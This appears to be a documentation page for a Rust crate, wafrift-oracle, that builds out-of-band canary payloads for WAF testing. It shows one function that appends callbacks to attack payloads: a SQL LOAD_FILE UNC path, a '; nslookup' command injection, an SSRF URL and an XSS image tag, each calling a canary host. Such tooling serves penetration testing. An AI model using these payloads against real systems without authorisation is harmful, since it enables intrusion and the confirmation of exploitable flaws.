wafrift-oracle 0.2.15

Payload validity oracles for SQL, SSRF, path traversal, command injection, and template injection.
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

use wafrift_types::oob::OobCanary;

pub fn embed_canary(payload: &str, canary: &OobCanary, payload_type: &str) -> String {
    match payload_type {
        "Sql" => format!(
            "{} LOAD_FILE('\\\\\\\\{}\\\\a')",
            payload, canary.expected_dns
        ),
        "CommandInjection" => format!("{}; nslookup {}", payload, canary.expected_dns),
        "Ssrf" => format!(
            "http://{}/{}",
            canary.expected_dns, canary.expected_http_path
        ),
        "Xss" => format!(
            "<img src=\"//{}/{}\">",
            canary.expected_dns, canary.expected_http_path
        ),
        _ => payload.to_string(),
    }
}